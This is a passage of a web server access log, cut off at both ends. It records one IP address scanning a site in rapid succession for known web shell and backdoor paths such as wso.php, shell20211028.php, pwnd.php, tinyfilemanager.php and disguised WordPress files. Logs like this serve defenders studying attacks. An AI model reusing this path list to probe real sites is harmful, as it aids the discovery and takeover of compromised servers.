/lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:54 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:50:55 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:50:55 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:55 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:55 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:50:56 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:56 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:56 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:50:56 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:57 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:50:57 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:50:57 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:57 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:58 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:58 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:50:58 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:50:58 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:50:59 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:50:59 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:50:59 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:50:59 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:00 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:00 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:00 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:00 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:01 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:51:01 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:01 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:01 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:51:02 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:02 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:02 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:02 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:03 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:03 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:51:03 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:03 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:04 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:04 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:04 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:05 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:05 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:05 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:05 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:06 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:06 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:06 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:06 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:07 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:51:07 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:07 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:07 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:08 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:08 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:08 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:51:08 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:09 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:09 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:51:09 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:09 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:51:10 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:10 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:10 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:11 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:11 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:11 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:11 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:12 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:12 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:12 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:12 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:13 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:51:13 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:13 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:13 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:14 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:14 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:14 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:14 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:15 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:15 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:51:15 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:51:15 +0300] "GET /images/DJP9.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:16 +0300] "GET /wp-includes/customize/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:51:16 +0300] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:51:16 +0300] "GET /natural.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:16 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 104.243.245.7 - - [10/Feb/2026:13:51:17 +0300] "GET /function/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:17 +0300] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:17 +0300] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:18 +0300] "GET /wp-includes/theme-compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:18 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:51:18 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:18 +0300] "GET /wp-includes/ID3/about.php/wp-content/x/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:19 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:19 +0300] "GET /wp-content/languages/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:19 +0300] "GET /update/403.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:51:19 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:20 +0300] "GET /wp-includes/assets/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:20 +0300] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:20 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:51:20 +0300] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:21 +0300] "GET /autoload_classmap/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:21 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:51:21 +0300] "GET /images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:21 +0300] "GET /db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:51:22 +0300] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:22 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:22 +0300] "GET /wp-content/plugins/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:22 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:22 +0300] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:51:23 +0300] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:51:23 +0300] "GET /templates/beez3/index.php 